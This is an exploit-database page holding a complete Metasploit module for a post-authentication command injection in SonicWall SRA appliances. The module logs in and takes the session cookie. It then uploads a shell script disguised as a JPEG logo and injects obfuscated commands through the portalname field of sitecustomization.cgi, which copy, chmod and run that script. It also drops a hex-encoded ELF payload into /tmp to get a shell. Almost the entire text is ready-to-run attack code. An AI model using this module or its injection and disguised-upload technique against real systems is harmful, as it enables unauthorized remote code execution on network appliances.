Sonicwall < 8.1.0.2-14sv - 'sitecustomization.cgi' Command Injection (Metasploit)



EKU-ID: 6789 CVE: OSVDB-ID:
Author: xort Published: 2017-07-21 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: Sonicwall importlogo/sitecustomization CGI Remote Command Injection Vulnerablity
# Date: 12/25/2016
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sonicwall.com
# Software Link: sonicwall.com/products/sra-virtual-appliance
# Version: 8.1.0.2-14sv
# Tested on: 8.1.0.2-14sv
#            
# CVE : (awaiting cve)
 
# vuln1: importlogo.cgi / logo1 parameter (any contents can be uploaded)   
# vuln2: sitecustomization.cgi / portalname (filename) parameter  
 
# Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug.
#
# xort @ Critical Start
 
 
 
 
require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Sonicwall SRA <= v8.1.0.2-14sv remote exploit',
                    'Description'    => %q{
                    This module exploits a remote command execution vulnerability in
                the Sonicwall SRA Appliance Version <=  v8.1.0.2-14sv. The vulnerability exist in
                a section of the machine's adminstrative infertface for performing configurations
                related to on-connect scripts to be launched for users's connecting.   
            },
            'Author'         =>
                [
                    'xort@Critical Start', # vuln + metasploit module
                ],
            'Version'        => '$Revision: 1 $',
            'References'     =>
                [
                    [ 'none', 'none'],
                ],
            'Platform'      => [ 'linux'],
            'Privileged'     => true,
             'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,
 
                'Payload'        =>
                                {
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },
 
            'Targets'        =>
                [
                    ['Linux Universal',
                        {
                                'Arch' => ARCH_X86,
                                'Platform' => 'linux'
                        }
                    ],
                ],
            'DefaultTarget' => 0))
 
            register_options(
                [
                    OptString.new('PASSWORD', [ false, 'Device password', "" ]),   
                        OptString.new('USERNAME', [ true, 'Device password', "admin" ]),   
                    OptString.new('CMD', [ false, 'Command to execute', "" ]), 
                    Opt::RPORT(443),
                ], self.class)
    end
 
        def do_login(username, password_clear)
                vprint_status( "Logging into machine with credentials...\n" )
 
                # vars
                timeout = 1550;
 
                # send request 
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-bin/userLogin",
              'headers' => {
               'Connection' => 'close',
               'Content-Type' => 'application/x-www-form-urlencoded',
               'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',
                  },
                      'vars_post' => {
               'username' => username,
               'password' => password_clear,
               'domain' => 'LocalDomain',
               'loginButton' => 'Login',
               'state' => 'login',
               'login' => 'true',
               'VerifyCert' => '0',
               'portalname' => 'VirtualOffice',
               'ajax' => 'true'
               },
                }, timeout)
 
        swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]
        
                return swap
        end
 
        def upload_payload(swap_cookie, file_data)
                vprint_status( "Upload Payload..." )
 
                # vars
                timeout = 1550;
 
                upload_req = [
                [ "portalName","VirtualOffice" ],
                [ "defaultLogo","0" ],
                [ "uiVersion","2" ],
                [ "bannerBackground", "light" ]
                ]
 
                boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
                post_data = ""
 
        # assemble upload_req parms
                upload_req.each do |xreq|
                    post_data << "--#{boundary}\r\n"
                    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
                    post_data << "#{xreq[1]}\r\n"
                end
 
                # add malicious file
                post_data << "--#{boundary}\r\n"
                post_data << "Content-Disposition: form-data; name=\"logo1\"; filename=\"x.jpg\"\r\n"
        post_data << "Content-Type: image/jpeg\r\n\r\n"
                post_data << "#{file_data}\r\n"
 
        post_data << "--#{boundary}--\r\n"
 
                res = send_request_cgi({
                   'method' => 'POST',
                   'uri'    => "/cgi-bin/importlogo?uploadId=1",
                   'ctype'  => "multipart/form-data; boundary=#{boundary}",
                   'data'   => post_data,
                   'headers' =>
                        {
                                'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
                'Cookie' => 'swap='+swap_cookie+';',
                        }
                }, timeout)
                
 
        end
 
 
    def run_command(swap_cookie, cmd)
 
        vprint_status( "Running Command...\n" )
 
                # vars
                timeout = 1550;
 
        vprint_status("creating filename on target: #{cmd}\n")
 
                upload_req = [
                [ "portalname", cmd ],
                [ "portaltitle","Virtual Office" ],
                [ "bannertitle","Virtual Office" ],
                [ "bannermessage","<h1>Dell Sonicwall</h1>" ],
                [ "portalUrl","https://192.168.84.155/portal/xxx" ],
                [ "loginflag","on" ],
                [ "bannerflag","on" ],
                [ "httpOnlyCookieFlag","on" ],
                [ "cachecontrol","on" ],
                [ "uniqueness", "on" ],
                [ "duplicateLoginAction", "1" ],
                [ "livetilesmalllogo", "" ],
                [ "livetilemediumlogo", "" ],
                [ "livetilewidelogo", "" ],
                [ "livetilelargelogo", "" ],
                [ "livetilebackground", "#0085C3" ],
                [ "livetilename", "" ],
                [ "home2page", "on" ],
                [ "allowNetExtender", "on" ],
                [ "virtualpassagepage", "on" ],
                [ "cifsdirectpage", "on" ],
                [ "cifspage", "on" ],
                [ "cifsappletpage", "on" ],
                [ "cifsapplet", "on" ],
                [ "cifsdefaultfilesharepath", "" ],
                [ "home3page", "on" ],
                [ "showAllBookmarksTab", "on" ],
                [ "showDefaultTabs", "on" ],
                [ "showCopyright", "on" ],
                [ "showSidebar", "on" ],
                [ "showUserPortalHelpButton", "on" ],
                [ "userPortalHelpURL", "" ],
                [ "showUserPortalOptionsButton", "on" ],
                [ "homemessage", "<h1>Welcome to the Dell SonicWALL Virtual Office</h1>" ],
                [ "hptabletitle", "Virtual Office Bookmarks" ],
                [ "vhostName", "www.#{Rex::Text.rand_text_hex(32)}.com" ],
                [ "vhostAlias", "" ],
                [ "vhostInterface", "ALL" ],
                [ "vhostEnableKeepAlive", "on" ],
                [ "cdssodn", ".yahoo.com" ],
                [ "enableSSLForwardSecrecy", "0" ],
                [ "enableSSLProxyVerify", "0" ],
                [ "sslProxyProtocol", "0" ],
                [ "loginSchedule", "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" ],
                [ "formsection", "main" ],
                [ "doAdd", "1" ],
                [ "cgiaction", "1" ],
                [ "themename", "stylesonicwall" ],
                [ "onlinehelp", "" ],
                [ "tmp_currentVhostName", "" ],
                [ "tmp_currentVhostAlias", "" ],
                [ "tmp_currentVhostInterface", "ALL" ],
                [ "tmp_currentVhostIp", "" ],
                [ "tmp_currentVhostIPv6", "" ],
                [ "tmp_currentVhostEnableHTTP", "0" ],
                [ "tmp_currentVhostEnableKeepAlive", "1" ],
                [ "tmp_currentVhostCert", "" ],
                [ "tmp_currEnforceSSLProxyProtocol", "0" ],
                [ "tmp_currSSLProxyProtocol", "0" ],
                [ "tmp_currEnableSSLProxyVerify", "0" ],
                [ "tmp_currEnableSSLForwardSecrecy", "0" ],
                [ "tmp_currentVhostOffloadRewrite", "" ],
                [ "restartWS", "1" ],
                [ "reuseFavicon", "" ],
                [ "oldReuseFavicon", "" ],
                ]
 
                boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
                post_data = ""
 
                # assemble upload_req parms
                upload_req.each do |xreq|
                    post_data << "--#{boundary}\r\n"
                    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
                    post_data << "#{xreq[1]}\r\n"
                end
 
                post_data << "--#{boundary}--\r\n"
 
                res = send_request_cgi({
                   'method' => 'POST',
                   'uri'    => "/cgi-bin/sitecustomization",
                   'ctype'  => "multipart/form-data; boundary=#{boundary}",
                   'data'   => post_data,
                   'headers' =>
                        {
                                'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
                                'Cookie' => 'swap='+swap_cookie+';',
                        }
                }, timeout)
    end
 
    def run_command_file(swap_cookie)
 
        # use prefix so exploit can be re-used (unique portalname requirment)
        prefix = Rex::Text.rand_text_numeric(5)
 
        run_command(swap_cookie, "#{prefix}$({find,$({perl,-e,'print(chr(0x2f))'}),-name,VirtualOffice.gif,-exec,cp,{},qz,$({perl,-e,'print(chr(0x3b))'})})")
        run_command(swap_cookie, "#{prefix}$({chmod,777,qz})")
        run_command(swap_cookie, "#{prefix}$({sh,-c,.$({perl,-e,'print(chr(0x2f))'})qz})")
 
    end
 
    def exploit
        # timeout
        timeout = 1550;
 
        # params
        password_clear = datastore['PASSWORD']
        user = datastore['USERNAME']
 
        # do authentication    
        swap_cookie = do_login(user, password_clear)
    
        vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")
            
        # pause to let things run smoothly
        #sleep(5)
 
         #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?
 
                        cmd = datastore['CMD']
 
                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
 
                        # kill stale calls to bdump from previous exploit calls for re-use
                        upload_payload(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
 
            # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
                        upload_payload(swap_cookie, ("#!/bin/bash\necho -e \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m; /tmp/m"))
                        run_command_file(swap_cookie)
 
            # wait for magic
                        handler
            
                end
 
 
    end
end